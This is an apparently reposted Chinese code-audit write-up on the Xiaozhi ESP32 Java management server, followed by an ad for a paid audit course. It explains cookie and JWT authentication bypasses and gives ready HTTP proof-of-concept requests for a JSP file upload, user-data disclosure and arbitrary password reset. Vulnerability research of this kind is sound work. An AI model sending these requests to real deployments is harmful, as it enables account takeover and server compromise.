文章总结: 小智ESP32管理平台存在多个严重安全漏洞,包括鉴权绕过、任意文件上传、未授权信息泄露和未授权密码修改。漏洞主要源于不安全的身份验证机制和访问控制,攻击者可通过cookie伪造或JWT伪造绕过认证,获取系统权限。文章提供了详细的漏洞分析和利用方法,包括具体的POC代码,展示了从架构分析到漏洞挖掘的完整过程。
综合评分: 91
文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC,实战经验
【JAVA代审】小智ESP32管理平台代码审计
原创
C@ig0
菜狗安全
2025年12月6日 09:00
福建
点击上方蓝字·关注我们
免责声明
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
前言
文章首发先知社区,原文链接:https://xz.aliyun.com/news/90738,作者:caigo(本人)
文章目录
介绍代码审计 架构分析 鉴权分析与绕过 cookie伪造 JWT伪造 任意文件上传 未授权信息泄露 用户信息查询 用户列表查询 未授权任意用户密码修改 最后
项目介绍
Xiaozhi ESP32 Server Java 是基于Xiaozhi ESP32项目开发的 Java 版本服务端,包含完整的前后端管理平台。该项目旨在为用户提供一个功能丰富、操作便捷的管理界面,帮助用户更好地管理设备、配置等。
考虑到企业级应用场景的需求,Java 作为一种成熟的企业级开发语言,具备更完善的生态系统支持和更强大的并发处理能力,因此我们选择开发这个 Java 版本的服务端,为项目提供更多可能性和扩展空间。
●后端框架:Spring Boot + Spring MVC
●前端框架:Vue.js + Ant Design
●数据存储:MySQL + Redis
●全局响应式:适配各种设备及分辨率
Fofa:
前台界面:
后台:
代码审计
架构分析
很常规的SSM架构+前后端分离的项目,前端VUE,后端Springboot,数据库连接使用的Mybatis
鉴权分析与绕过
项目依赖和代码中未发现shiro和springsecurity,然后项目中也没有发现Filter配置,那么大概率使用的是spring 拦截器,寻找config目录
发现在:src/main/java/com/xiaozhi/common/config
查看WebMvcConfig
可以看到spring Interceptor的添加和配置信息
不拦截路径如下
"/api/user/login","/api/user/register","/api/device/ota","/audio/**","/uploads/**","/ws/**",// 添加 swagger 相关路径"/swagger-ui/**","/v3/api-docs/**","/swagger-resources/**","/webjars/**"
跟进authenticationInterceptor实现分析
查看preHandle中的return true放行条件,一共有五处
56-59检查是否为白名单放行路径和接口是否装配@UnLogin注解
判断传入的path是否为PUBLIC_PATHS里面的中的任意一个路径前缀开头,看下PUBLIC_PATHS
可以看到这里的api中有个user,这就很不对劲了,可能会存在敏感信息未授权的问题
如果接口的方法或者class上有@UnLogin注解注解则无需登录返回true,放行
62-73第二个放行逻辑,读取当前请求中的session信息,如果没有就不进入if条件,从session中获取用户信息转换为SysUser实例,有就放行,这个没登陆肯定不满足
cookie伪造
75-78从cookie中获取用户信息
获取当前request中的cookie,然后遍历cookie中的元素,判断如果键等于username,则获取对应的值,然后带入userService.selectUserByUsername查询获取用户实例,存在则存储到会话中
也就是说我们只需要在请求中加上:Cookie: username=admin(用户名),就直接进后台了,可以搭配前面的用户信息泄露直接用
80-83通过微信登录信息中获取用户,跟进
和cookie也是异曲同工之妙,通过getWechatOpenId方法获取wxOpenId,如果存在话后面通过数据库查询获取user实例,然后存储到会话中
wxOpenId我们完全可控
JWT伪造
85-88,通过token鉴权,跟进
可以看到request中获取Authorization头,然后去除Bearer,然后通过jwtUtil.validateToken校验,这一看就是JWT认证,关注密钥是否是硬编码,凭据内容能否伪造
如果configSecret不为null,则使用configSecret,为null则使用DEFAULT_SECRET,这个逻辑也很好理解如果配置文件中没有而外配置key就使用默认的
那么这里就可能会存在硬编码的问题,因为系统其他没有强制要求修改密钥,内嵌的密钥也不是随机生成
然后看JWT解密后带入User实例获取的内容是否可控
这个有几种实现,一种是获取id,一种是获取username,应该和版本有关,我下的最新版是获取id,其他的一些版本是获取username,可伪造
最后就是处理未授权的逻辑了
任意文件上传
FileUploadController.java中的uploadFile方法(重点关注文件后缀处理)
55-56构建文件上传目录,59-61获取上传文件的原始文件名,分割文件后缀,通过UUID+extension生成新文件名,65行带入FileUploadUtils.smartUpload进行上传处理,那么这里文件后缀大概率不用考虑了跟进方法查看是否有其他检测
根据配置文件选择性上传到腾讯云COS或本地,我们这边看本地的,135行的uploadFile方法
53行检查文件大小,56-59创建文件目录,62-68判断目录是否存在,71-74创建文件调用IOUtils.copy把内容写入新文件中,整个过程中没有后缀/内容校验,存在任意文件上传
poc
POST /api/file/upload HTTP/1.1Host: Connection: keep-alivesec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuxLzULmmlfW0hCjKContent-Length:
------WebKitFormBoundaryuxLzULmmlfW0hCjKContent-Disposition: form-data; name="file"; filename="test.jsp"Content-Type: image/png
test------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="type"
image------WebKitFormBoundaryuxLzULmmlfW0hCjK--
未授权信息泄露
我们前面在分析的时候知道,/api/user/开头的路由是不拦截的,但是这个接口下面有很多敏感存在和信息
用户信息查询
UserController.java中的query
get请求,路由注解接收username,然后带入userService.query中查询,返回数据
poc:
GET /api/user/query?username=admin HTTP/1.1Host: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
用户列表查询
UserController.java中的queryUsers
这里如果不传入任何条件的话,最后的语句大致如下
SELECT ... FROM sys_user WHERE 1 = 1 ORDER BY createTime DESC
返回sys_user表中的大部分字段
GET /api/user/queryUsers HTTP/1.1Host: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
未授权任意用户密码修改
UserController.java中的update方法
我们直接关注更新时where条件的字段是否可控,更新方法是userService.update
可以看到如果username不为空或email不为空或tel不为空,就根据对应的值作为条件去更新信息,那么这里username是通过路由注解的loginRequest获取的,是一个集合Map,也就是可控,那么关注密码的修改是否需要旧密码
可以看到并不需要旧密码,只有传入的新密码,那么这里可以重置任意用户的密码,搭配未授权信息泄露获取username达到全站账号获取
poc:
POST /api/user/update HTTP/1.1Host: Content-Type: application/json;charset=UTF-8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.9Content-Length: 73
{"username":"test005","password":"Aa123456789","password2":"Aa123456789"}
test005是我创建的另个账号,密码是Aa123123
测试修改后的
最后
有其它问题或者对文章内容有疑问的,可以加作者微信,加交流群的话备注”交流群”
公众号培训广告,有需要可联系(混口饭吃)
详细课程介绍:菜狗安全《代码审计培训》双十一优惠开启:手把手0day挖掘教学
课程介绍视频
菜狗安全《代码审计》第①期培训介绍与答疑
https://www.bilibili.com/video/BV153VWzgEgq(旧课表的)
第一期JAVA专题课表
比起公开课内容对小白更友好,讲解更细致,实战案例更新更多,更有0day案例,挖掘思路等讲解
企业源码实战审计
秉承节节有0Day,节节挖0Day,从源码解压到漏洞审计完整流程,现场手把手教学审0day
学员内部福利
1、国内几个源码站会员:9k9k,刀客,小蚂蚁,优选源码,源码庄,狗凯等,如果有需要其他源码站会员可联系我,我看情况开通
2、内部代码审计文档库加配套对应源码(持续更新中)
每篇都是从项目架构分析->鉴权分析->漏洞审计,以思路为主,并非简单漏洞披露
3、不定期抽奖和布置考核任务给予奖品,形成玩中学,学中玩的学习氛围(太多了随便放两张)
考核靶场
4、部分项目(代码审计,渗透测试,讲师,HVV等等)优先推送
5、更多内容筹备中。。。
学员反馈
放几张意思下,还有一堆懒得找了
价格
课程依旧加量不加价,1299,第一期50+节课,一次报名后面可以一直听不会有二次收费,如果是学生确实没啥💴就看公开的吧,入门绝对够,付费课有能力再考虑
暂时我也想不到其它问题了,如果有其他疑问可以在群里问,或者私信我
心动不如行动
有需要或者有问题可以加微信,备注“培训”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜狗安全 C@ig0《【JAVA代审】小智ESP32管理平台代码审计》